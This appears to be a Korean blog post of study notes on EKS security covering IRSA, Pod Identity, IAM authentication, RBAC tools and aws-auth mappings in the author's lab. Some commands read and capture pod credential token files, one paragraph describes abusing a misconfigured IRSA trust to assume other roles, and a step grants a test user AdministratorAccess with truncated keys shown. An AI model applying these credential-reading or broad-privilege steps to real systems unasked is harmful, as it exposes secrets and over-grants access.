  --attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)

# 확인 >> 웹 관리 콘솔에서 CloudFormation Stack >> IAM Role 확인
# aws-load-balancer-controller IRSA는 어떤 동작을 수행할 것 인지 생각해보자!
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

# Inspecting the newly created Kubernetes Service Account, we can see the role we want it to assume in our pod.
kubectl get sa
kubectl describe sa my-sa
Name:                my-sa
Namespace:           default
Labels:              app.kubernetes.io/managed-by=eksctl
Annotations:         eks.amazonaws.com/role-arn: arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH
Image pull secrets:  <none>
Mountable secrets:   <none>
Tokens:              <none>
Events:              <none>

AWS Management Console 내에서 해당 IAM 역할은 iamserviceaccount를 검색합니다. ⇒ IAM 역할 확인
신뢰 관계 탭을 선택하면 'sts:AssumeRoleWithWebIdentity' Action을 사용하여 ID 'system:serviceaccount:default:my-sa'가 역할을 맡도록 허용하는 것을 볼 수 있습니다. 이 정책의 주체는 OIDC 제공업체입니다.

해당 Service Account를 가진 신규 파드 만들어 봅니다. 앞서 iamserviceaccount를 생성할 때 ARN에 S3ReadOnly 권한만을 추가하여 S3이외에는 조회할 수 없습니다.

# 파드3번 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test3
spec:
  serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh

# 파드 생성 yaml에 없던 내용이 추가됨!!!!!
# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
...
    volumeMounts: 
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true
  ...
  volumes: 
  - name: aws-iam-token
    projected: 
      sources: 
      - serviceAccountToken: 
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
...

kubectl exec -it eks-iam-test3 -- ls /var/run/secrets/eks.amazonaws.com/serviceaccount
token

kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token ; echo
...

kubectl describe pod eks-iam-test3
...
Environment:
      AWS_STS_REGIONAL_ENDPOINTS:   regional
      AWS_DEFAULT_REGION:           ap-northeast-2
      AWS_REGION:                   ap-northeast-2
      AWS_ROLE_ARN:                 arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN
      AWS_WEB_IDENTITY_TOKEN_FILE:  /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    Mounts:
      /var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-69rh8 (ro)
...
Volumes:
  aws-iam-token:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  86400
  kube-api-access-sn467:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
...

# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271"

# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2

https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=AssumeRoleWithWebIdentity 에서 새로운 ServiceAccount로 접근하는 것을 확인할 수 있습니다.

kubectl과 jq를 사용하여 파드를 검사하면 두 개의 볼륨이 마운트된 것을 볼 수 있습니다. 두 번째 Webhook은 mutating webhook을 통해 마운트되었습니다.
aws-iam-token은 여전히 Kubernetes API 서버에서 생성되고 있지만 새로운 OIDC JWT 대상이 있습니다.

# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
  {
    "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
    "name": "kube-api-access-sn467",
    "readOnly": true
  },
  {
    "mountPath": "/var/run/secrets/eks.amazonaws.com/serviceaccount",
    "name": "aws-iam-token",
    "readOnly": true
  }
]

# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name=="aws-iam-token")'
{
  "name": "aws-iam-token",
  "projected": {
    "defaultMode": 420,
    "sources": [
      {
        "serviceAccountToken": {
          "audience": "sts.amazonaws.com",
          "expirationSeconds": 86400,
          "path": "token"
        }
      }
    ]
  }
}

# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration

#
kubectl explain mutatingwebhookconfigurations

#
kubectl get MutatingWebhookConfiguration
NAME                            WEBHOOKS   AGE
pod-identity-webhook            1          147m
vpc-resource-mutating-webhook   1          147m

# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook 
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh

실행 중인 파드 에 접속하여 토큰을 검사하면 이전 SA 토큰과 약간 다른 모습을 확인할 수 있습니다.
이 토큰의 대상 독자는 이제 'sts.amazonaws.com'이고, 이 토큰을 생성하고 서명한 발행자는 여전히 OIDC 공급자이며, 24시간으로 토큰 만료가 얼마 남지 않았음을 알 수 있습니다.
파드 정의 또는 Service Account 정의에서 'eks.amazonaws.com/token-expiration' Annotation을 사용하여 Service Account의 만료 기간을 수정할 수 있습니다.
MutationgWebhook은 파드에 추가 토큰을 마운트하고 환경 변수를 주입합니다.

# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN

# JWT 웹 확인 
{
  "aud": [
    "sts.amazonaws.com"
  ],
  "exp": 1685175662,
  "iat": 1685089262,
  "iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test3",
      "uid": "73f66936-4d66-477a-b32b-853f7a1c22d9"
    },
    "serviceaccount": {
      "name": "my-sa",
      "uid": "3b31aa85-2718-45ed-8c1c-75ed012c1a68"
    }
  },
  "nbf": 1685089262,
  "sub": "system:serviceaccount:default:my-sa"
}

# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
  {
    "name": "AWS_STS_REGIONAL_ENDPOINTS",
    "value": "regional"
  },
  {
    "name": "AWS_DEFAULT_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_REGION",
    "value": "ap-northeast-2"
  },
  {
    "name": "AWS_ROLE_ARN",
    "value": "arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH"
  },
  {
    "name": "AWS_WEB_IDENTITY_TOKEN_FILE",
    "value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
  }
]

워크로드에 IAM으로 인증을 시도하는 데 사용할 수 있는 토큰이 있으므로 다음은 AWS IAM이 해당 토큰을 신뢰하도록 하는 것입니다. AWS IAM은 federated identities using OIDC identity providers을 지원합니다.
IAM이 유효한 OIDC JWT를 수신한 후 지원되는 자격 증명 공급자를 통해 AWS API 호출을 인증할 수 있습니다. 이후 토큰을 AWS STS 'AssumeRoleWithWebIdentity' API 작업에 전달하여 임시 IAM 자격 증명을 얻을 수 있습니다.
워크로드에 있는 OIDC JWT 토큰은 암호화 방식으로 서명되며, IAM은 AWS STS 'AssumeRoleWithWebIdentity' API 작업이 임시 자격 증명을 보낼 수 있기 전에 이러한 토큰을 신뢰하고 검증해야 합니다.
쿠버네티스의 Service Account Issuer Discovery의 일부로 EKS는 공개 OpenID 공급자 구성 문서(검색 엔드포인트)와 토큰 서명을 검증하기 위한 공개 키(JSON Web Key Sets – JWKS)를 https://OIDC_PROVIDER_URL/.well-known/openid-configuration에서 호스팅합니다.

# Let’s take a look at this endpoint. We can use the aws eks describe-cluster command to get the OIDC Provider URL.
IDP=$(aws eks describe-cluster --name myeks --query cluster.identity.oidc.issuer --output text)

# Reach the Discovery Endpoint
curl -s $IDP/.well-known/openid-configuration | jq -r '.'

# In the above output, you can see the jwks (JSON Web Key set) field, which contains the set of keys containing the public keys used to verify JWT (JSON Web Token). 
# Refer to the documentation to get details about the JWKS properties.
curl -s $IDP/keys | jq -r '.'

IRSA를 가장 취약하게 사용하는 방법 : 정보 탈취 시 키/토큰 발급 악용 가능
AWS는 JWT 토큰의 유효성만 확인하고 토큰 파일과 서비스 계정에 지정된 실제 역할 간의 일관성을 보장하지는 않습니다. 따라서Condition을 잘못 설정할 시 토큰과 역할 ARN만 있다면 동일 토큰으로 다른 역할을 맡을 수 있습니다.

https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf

IAM Channelge Level 6 문제

실습 확인 후 파드 삭제 및 IRSA 제거

#
kubectl delete pod eks-iam-test3
eksctl delete iamserviceaccount --cluster $CLUSTER_NAME --name my-sa --namespace default
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa

Pod Identity

Pod Identity는 쿠버네티스 클러스터에서 애플리케이션 또는 서비스가 AWS 리소스에 대해 안전하게 인증 및 권한 부여를 수행하기 위한 메커니즘을 제공하는 기능입니다. 특히 EKS 환경에서 Pod Identity는 AWS IAM 역할을 쿠버네티스 서비스 계정과 매핑하여 리소스에 대한 엑세스 권한을 관리합니다. Pod Identity를 사용하면 쿠버네티스 클러스터 내에서 실행되는 애플리케이션이나 마이크로서비스에 AWS IAM 역할을 할당할 수 있습니다. 이를 통해 애플리케이션은 해당 IAM 역할의 권한으로 AWS 리소스에 접근할 수 있습니다. 이 기능은 보안과 권한 부여를 강화하고 IAM 역할의 범위를 제한하여 보다 정확한 권한을 부여할 수 있도록 합니다. [출처 : ChatGPT]

https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf

https://youtu.be/iyMcOpXRVWk?si=fFiMV9c7E0pg8Img&t=1409

https://aws.amazon.com/blogs/containers/amazon-eks-pod-identity-a-new-way-for-applications-on-eks-to-obtain-iam-credentials/

eks-pod-identity-agent 설치

#
ADDON=eks-pod-identity-agent
aws eks describe-addon-versions \
    --addon-name $ADDON \
    --kubernetes-version 1.28 \
    --query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
    --output text
v1.2.0-eksbuild.1
True
v1.1.0-eksbuild.1
False
v1.0.0-eksbuild.1
False

# 모니터링
watch -d kubectl get pod -A

# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name eks-pod-identity-agent
혹은
eksctl create addon --cluster $CLUSTER_NAME --name eks-pod-identity-agent --version 1.2.0

# 확인
eksctl get addon --cluster $CLUSTER_NAME
kubectl -n kube-system get daemonset eks-pod-identity-agent
kubectl -n kube-system get pods -l app.kubernetes.io/name=eks-pod-identity-agent
kubectl get ds -n kube-system eks-pod-identity-agent -o yaml | kubectl neat | yh
...
      containers: 
      - args: 
        - --port
        - "80"
        - --cluster-name
        - myeks
        - --probe-port
        - "2703"
        command: 
        - /go-runner
        - /eks-pod-identity-agent
        - server
      ....
      ports: 
        - containerPort: 80
          name: proxy
          protocol: TCP
        - containerPort: 2703
          name: probes-port
          protocol: TCP
      ...
        securityContext: 
          capabilities: 
            add: 
            - CAP_NET_BIND_SERVICE
      ...
      hostNetwork: true
...

# 네트워크 정보 확인
## EKS Pod Identity Agent uses the hostNetwork of the node and it uses port 80 and port 2703 on a link-local address on the node. 
## This address is 169.254.170.23 for IPv4 and [fd00:ec2::23] for IPv6 clusters.
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ss -tnlp | grep eks-pod-identit; echo "-----";done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c route; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c -br -4 addr; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c addr; done

podidentityassociation 설정

# CloudFormation을 통해 스택 생성
eksctl create podidentityassociation \
--cluster $CLUSTER_NAME \
--namespace default \
--service-account-name s3-sa \
--role-name s3-eks-pod-identity-role \
--permission-policy-arns arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess \
--region $AWS_REGION

# 확인
kubectl get sa
eksctl get podidentityassociation --cluster $CLUSTER_NAME
ASSOCIATION ARN											                                                      NAMESPACE	SERVICE ACCOUNT NAME	IAM ROLE ARN
arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-blaanudo8dc1dbddw	default		s3-sa			            arn:aws:iam::911283464785:role/s3-eks-pod-identity-role

aws eks list-pod-identity-associations --cluster-name $CLUSTER_NAME | jq
{
  "associations": [
    {
      "clusterName": "myeks",
      "namespace": "default",
      "serviceAccount": "s3-sa",
      "associationArn": "arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-pm07a3bg79bqa3p24",
      "associationId": "a-pm07a3bg79bqa3p24"
    }
  ]
}

# ABAC 지원을 위해 sts:Tagsession 추가
aws iam get-role --query 'Role.AssumeRolePolicyDocument' --role-name s3-eks-pod-identity-role | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "pods.eks.amazonaws.com"
      },
      "Action": [
        "sts:AssumeRole",
        "sts:TagSession"
      ]
    }
  ]
}

테스트용 파드 생성 및 확인 : AssumeRoleForPodIdentity

https://youtu.be/iyMcOpXRVWk?si=J4q7vOe-W4UhQ1wu&t=2501

# 서비스어카운트, 파드 생성
kubectl create sa s3-sa

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-pod-identity
spec:
  serviceAccountName: s3-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

#
kubectl get pod eks-pod-identity -o yaml | kubectl neat| yh
kubectl exec -it eks-pod-identity -- aws sts get-caller-identity --query Arn
kubectl exec -it eks-pod-identity -- aws s3 ls
kubectl exec -it eks-pod-identity -- env | grep AWS
WS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
AWS_STS_REGIONAL_ENDPOINTS=regional
AWS_DEFAULT_REGION=ap-northeast-2
AWS_REGION=ap-northeast-2

# 토큰 정보 확인
kubectl exec -it eks-pod-identity -- ls /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
kubectl exec -it eks-pod-identity -- cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

실습 리소스 삭제

eksctl delete podidentityassociation --cluster $CLUSTER_NAME --namespace default --service-account-name s3-sa
kubectl delete pod eks-pod-identity
kubectl delete sa s3-sa

고려사항

SDK 최신 버전 확인
워커노드에 IAM Policy 확인 : Action 추가 (eks-auth:AssumeRoleForPodIdentity)
보안 솔루션으로 링크 로컬 주소 사용 가능 여부 확인, 혹은 이미 사용 중인 주소인지, iptables 로 막혀있는지 확인
How to migrate from IRSA to EKS Pod Identity : 기존 IRSA → PodIdentity 마이그레이션

현재 지원 불가능
- EKS Pod Identities are available on the following:
  - Amazon EKS cluster versions listed in the previous topic EKS Pod Identity cluster versions.
  - Worker nodes in the cluster that are Linux Amazon EC2 instances.
- EKS Pod Identities aren't available on the following:
  - China Regions.
  - AWS GovCloud (US).
  - AWS Outposts.
  - Amazon EKS Anywhere.
  - Kubernetes clusters that you create and run on Amazon EC2. The EKS Pod Identity components are only available on Amazon EKS.
- You can't use EKS Pod Identities with:
  - Pods that run anywhere except Linux Amazon EC2 instances. Linux and Windows pods that run on AWS Fargate (Fargate) aren't supported. Pods that run on Windows Amazon EC2 instances aren't supported.
  - Amazon EKS add-ons that need IAM credentials. The EKS add-ons can only use IAM roles for service accounts instead. The list of EKS add-ons that use IAM credentials include:
    - Amazon VPC CNI plugin for Kubernetes
    - AWS Load Balancer Controller
    - The CSI storage drivers: EBS CSI, EFS CSI, Amazon FSx for Lustre CSI driver, Amazon FSx for NetApp ONTAP CSI driver, Amazon FSx for OpenZFS CSI driver, Amazon File Cache CSI driver

[AEWS] EKS Security

imxsuu — Mon, 8 Apr 2024 15:43:52 +0900

EKS 인증(Authentication)/인가(Authorization)

인증(Authentication) : 외부 사용자가 EKS Cluster 에 접속하는 과정 (AWS IAM 사용)
인가(Authorization) : EKS Cluster 내부 리소스 접근 권한 (Namespace, Pod, Deployment 등 K8S RBAC 사용)

https://kimalarm.tistory.com/65

RBAC 관련 krew 플러그인

# 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum whoami

# k8s 인증된 주체 확인
kubectl whoami

# Show an RBAC access matrix for server resources
kubectl access-matrix # Review access to cluster-scoped resources
kubectl access-matrix --namespace default # Review access to namespaced resources in 'default'

# RBAC Lookup by subject (user/group/serviceaccount) name
kubectl rbac-tool lookup
kubectl rbac-tool lookup system:masters

kubectl rbac-tool lookup system:nodes # eks:node-bootstrapper
kubectl rbac-tool lookup system:bootstrappers # eks:node-bootstrapper
kubectl describe ClusterRole eks:node-bootstrapper

# RBAC List Policy Rules For subject (user/group/serviceaccount) name
kubectl rbac-tool policy-rules
kubectl rbac-tool policy-rules -e '^system:.*'
kubectl rbac-tool policy-rules -e '^system:authenticated'

# Generate ClusterRole with all available permissions from the target cluster
kubectl rbac-tool show

# Shows the subject for the current context with which one authenticates with the cluster
kubectl rbac-tool whoami

# Summarize RBAC roles for subjects : ServiceAccount(default), User, Group
kubectl rolesum -h
kubectl rolesum aws-node -n kube-system
kubectl rolesum -k User system:kube-proxy
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated

# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view

## 이후 해당 작업용PC 공인 IP:8800 웹 접속 : 최초 접속 후 정보 가져오는데 다시 시간 걸림 (2~3분 정도 후 화면 출력됨) 
echo -e "RBAC View Web http://$(curl -s ipinfo.io/ip):8800"

인증/인가 완벽 분석 해보기

기존 방식은 인증은 AWS IAM, 인가는 K8S RBAC에서 처리하는 방식이었습니다.

Amazon Web Services Korea - Amazon EKS 마이그레이션 요점정리

https://devlos.tistory.com/75

인증은 AWS IAM, 인가는 K8S RBAC에서 처리하는 방식은 구조적인 문제가 있어 AWS에서 새로운 방식으로 인증을 진행하게 됩니다.

https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf

1. kubectl 명령 → aws eks get-token → EKS Service endpoint(STS)에 토큰 요청

⇒ 응답값 디코드(Pre-Signed URL이며 GetCallerIdentity)

STS(Security Token Service) : AWS 리소스에 대한 액세스를 제어할 수 있는 임시 보안 자격 증명(STS)을 생성하여 신뢰받는 사용자에게 제공할 수 있습니다.
https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventSource=sts.amazonaws.com 에서 이벤트 기록을 확인할 수 있습니다.
AWS CLI 버전 1.16.156 이상에서는 별도 aws-iam-authenticator 설치 없이 aws eks get-token으로 사용 가능합니다.

# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn

# kubeconfig 정보 확인
cat ~/.kube/config | yh

# Get  a token for authentication with an Amazon EKS cluster.
# This can be used as an alternative to the aws-iam-authenticator.
aws eks get-token help

# 임시 보안 자격 증명(토큰)을 요청 : expirationTimestamp 시간경과 시 토큰 재발급됨
aws eks get-token --cluster-name $CLUSTER_NAME | jq
aws eks get-token --cluster-name $CLUSTER_NAME | jq -r '.status.token'

kubeconfig 정보를 확인하여 user에 eks, get-token에 대한 권한이 있으면 해당 명령어를 사용해 토큰을 발급할 수 있습니다.

해당 명령어로 토큰을 발급할 수 있는 이유는 ARN인 admin 계정이 administator IAM의 Full 권한을 가지고 있기 때문입니다.

2. kubectl의 Client-Go 라이브러리는 Pre-Signed URL을 Bearer Token으로 EKS API Cluster Endpoint에 요청을 보냅니다.

토큰을 JWT 사이트에 붙여넣어 디코드 정보(HS384 → HS256) 및 PAYLOAD 정보 확인할 수 있습니다. 이는 일반적인 AWS API 호출과 유사합니다.
PAYLOAD의 값을 URL Decode Online에서 DECODE로 확인할 수 있습니다.

https://sharing-for-us.tistory.com/39

https://youtu.be/zIZ6_tYujts?t=231 'AWS 보안 웨비나'

AWS에서 사용하는 인증 프로세스인 Signature Version 4 (SigV4)는 Amazon 웹 서비스 API 요청을 안전하게 서명하는 데 사용됩니다. 이 서명은 AWS 서버에 요청을 보내는 클라이언트가 정당한 사용자임을 증명합니다. SigV4는 AWS 계정의 액세스 키 ID와 비밀 액세스 키를 사용하여 요청에 서명합니다. 이 서명 프로세스는 요청 헤더에 포함되며, 요청을 보내기 전에 계산됩니다. SigV4 서명 프로세스는 요청의 URL, HTTP 메소드, 헤더 및 본문을 사용하여 정해진 규칙에 따라 서명을 생성합니다. 이 서명은 요청의 무결성을 보장하고, 요청이 중간에 변경되지 않았음을 확인합니다. 또한 SigV4를 사용하면 AWS의 보안 정책을 준수하고, 클라이언트가 인증된 요청을 보내는 데 도움이 됩니다. AWS에서는 SigV4를 사용하여 API 요청을 보낼 때 보안을 강화하고 인증된 요청만 허용하는 등의 보안 기능을 제공합니다. [출처 : ChatGPT]

3. EKS API는 Token Review를 Webhook token authenticator에 요청
⇒ (STS GetCallerIdentity 호출) AWS IAM 해당 호출 인증 완료 후 User/Role에 대한 ARN 반환

Webhook token authenticator는 aws-iam-authenticator를 사용
https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=GetCallerIdentity 에서 GetCallerIdentity 이벤트 기록을 확인할 수 있습니다.

# tokenreviews api 리소스 확인 
kubectl api-resources | grep authentication

# List the fields for supported resources.
kubectl explain tokenreviews

4. EKS에서 쿠버네티스 RBAC 인가를 처리합니다. AWS에 인가 서비스가 있으면 좋겠지만 플랫폼 업데이트 등에 따라 업데이트되기 어려우므로 컨피그 맵을 사용합니다.

해당 IAM User/Role 확인이 되면 k8s aws-auth configmap에서 mapping 정보를 확인하게 됩니다.
aws-auth 컨피그맵에 'IAM 사용자, 역할 arm, K8S 오브젝트' 로 권한 확인 후 k8s 인가 허가가 되면 최종적으로 동작을 실행합니다.
EKS를 생성한 IAM principal은 aws-auth와 상관없이 kubernetes-admin Username으로 system:masters 그룹에 권한을 가집니다.

# Webhook api 리소스 확인 
kubectl api-resources | grep Webhook

# validatingwebhookconfigurations 리소스 확인
kubectl get validatingwebhookconfigurations
kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh

# aws-auth 컨피그맵에 user가 있는지 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh

# EKS 설치한 IAM User 정보 >> system:authenticated는 어떤 방식으로 추가가 되었는지 궁금???
kubectl rbac-tool whoami

# system:masters , system:authenticated 그룹의 정보 확인
kubectl rbac-tool lookup system:masters
kubectl rbac-tool lookup system:authenticated
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated

# system:masters 그룹이 사용 가능한 클러스터 롤 확인 : cluster-admin
kubectl describe clusterrolebindings.rbac.authorization.k8s.io cluster-admin

# cluster-admin 의 PolicyRule 확인 : 모든 리소스  사용 가능!
kubectl describe clusterrole cluster-admin

# system:authenticated 그룹이 사용 가능한 클러스터 롤 확인
kubectl describe ClusterRole system:discovery
kubectl describe ClusterRole system:public-info-viewer
kubectl describe ClusterRole system:basic-user
kubectl describe ClusterRole eks:podsecuritypolicy:privileged

mapUsers에 IAM User의 ARN 정보가 실리는데 해당 정보가 공개될 경우 configmap에 접근할 수 있는 모든 사용자가 편집을 할 가능성이 있기 때문에 (실수로 지울 가능성) 생략이 되어 있는 모습을 확인할 수 있습니다.

DevOps 신입 사원을 위한 myeks-bastion-2 설정 해보기

1. [myeks-bastion] testuser 사용자 생성

# testuser 사용자 생성
aws iam create-user --user-name testuser

# 사용자에게 프로그래밍 방식 액세스 권한 부여
aws iam create-access-key --user-name testuser

# testuser 사용자에 정책을 추가
aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --user-name testuser

# get-caller-identity 확인
aws sts get-caller-identity --query Arn

kubectl whoami

# EC2 IP 확인 : myeks-bastion-EC2-2 PublicIPAdd 확인
aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output table

2. [myeks-bastion-2] testuser 자격증명 설정 및 확인

# get-caller-identity 확인 (현재 EC2에서 testuser에 대한 자격증명이 되어 있지 않으므로 에러)
aws sts get-caller-identity --query Arn

# testuser 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2F...
AWS Secret Access Key [None]: ePpXdhA3cP....
Default region name [None]: ap-northeast-2

# get-caller-identity 확인
aws sts get-caller-identity --query Arn

# kubectl 시도 >> testuser도 AdministratorAccess 권한을 가지고 있지만 .kube 파일이 없음
kubectl get node -v6
ls ~/.kube

3. [myeks-bastion] testuser에 system:masters 그룹 부여로 EKS 관리자 수준 권한 설정

# 방안1 : eksctl 사용 >> iamidentitymapping 실행 시 aws-auth 컨피그맵 작성해줌
# Creates a mapping from IAM role or user to Kubernetes user and groups
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl create iamidentitymapping --cluster $CLUSTER_NAME --username testuser --group system:masters --arn arn:aws:iam::$ACCOUNT_ID:user/testuser

# 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh

kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh

# 방안2 : 아래 edit로 mapUsers 내용 직접 추가!
kubectl edit cm -n kube-system aws-auth
---
apiVersion: v1
data: 
  mapRoles: |
    - groups:
      - system:bootstrappers
      - system:nodes
      rolearn: arn:aws:iam::911283464785:role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-LHQ7DWHQQRZJ
      username: system:node:{{EC2PrivateDNSName}}
  mapUsers: |
    - groups:
      - system:masters
      userarn: arn:aws:iam::911283464785:user/testuser
      username: testuser

# 확인 : 기존에 있는 role/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-YYYYY 는 어떤 역할/동작을 하는 걸까요?
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

create iamidentitymapping을 통해 testuser에 대한 aws-auth Configmap을 업데이트할 수 있는 권한을 맵핑합니다.

validatingwebhookconfigurations에 의해 aws-auth Configmap에 testuser에 대한 정보가 업데이트된 것을 확인할 수 있습니다.

4. [myeks-bastion-2] testuser kubeconfig 생성 및 kubectl 사용 확인

# testuser kubeconfig 생성 >> aws eks update-kubeconfig 실행이 가능한 이유는?, 3번 설정 후 약간의 적용 시간 필요
aws eks update-kubeconfig --name $CLUSTER_NAME --user-alias testuser

# 첫번째 bastic ec2의 config와 비교해보자
cat ~/.kube/config | yh

# kubectl 사용 확인
kubectl ns default
kubectl get node -v6

# rbac-tool 후 확인 >> 기존 계정과 비교해보자 >> system:authenticated 는 system:masters 설정 시 따라오는 것 같은데, 추가 동작 원리는 모르겠네요???
kubectl krew install rbac-tool && kubectl rbac-tool whoami

5. [myeks-bastion] testuser 의 Group 변경(system:masters → system:authenticated)으로 RBAC 동작 확인 : 에러 발생

# 방안2 : 아래 edit로 mapUsers 내용 직접 수정 system:authenticated
kubectl edit cm -n kube-system aws-auth
...

# 확인
eksctl get iamidentitymapping --cluster $CLUSTER_NAME

6. [myeks-bastion-2] testuser kubectl 사용 확인 : 에러 발생

# 시도
kubectl get node -v6
kubectl api-resources -v5

7. [myeks-bastion]에서 testuser IAM 맵핑 삭제

# testuser IAM 맵핑 삭제
eksctl delete iamidentitymapping --cluster $CLUSTER_NAME --arn  arn:aws:iam::$ACCOUNT_ID:user/testuser

# Get IAM identity mapping(s)
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
kubectl get cm -n kube-system aws-auth -o yaml | yh

8. [myeks-bastion-2] testuser kubectl 사용 확인 : 에러 발생

# 시도
kubectl get node -v6
kubectl api-resources -v5

EC2 Instance Profile(IAM Role)에 맵핑된 k8s rbac 확인 해보기

https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html#creating-access-entries

1. 노드 mapRoles 확인

# 노드에 STS ARN 정보 확인 : Role 뒤에 인스턴스 ID!
for node in $N1 $N2 $N3; do ssh ec2-user@$node aws sts get-caller-identity --query Arn; done

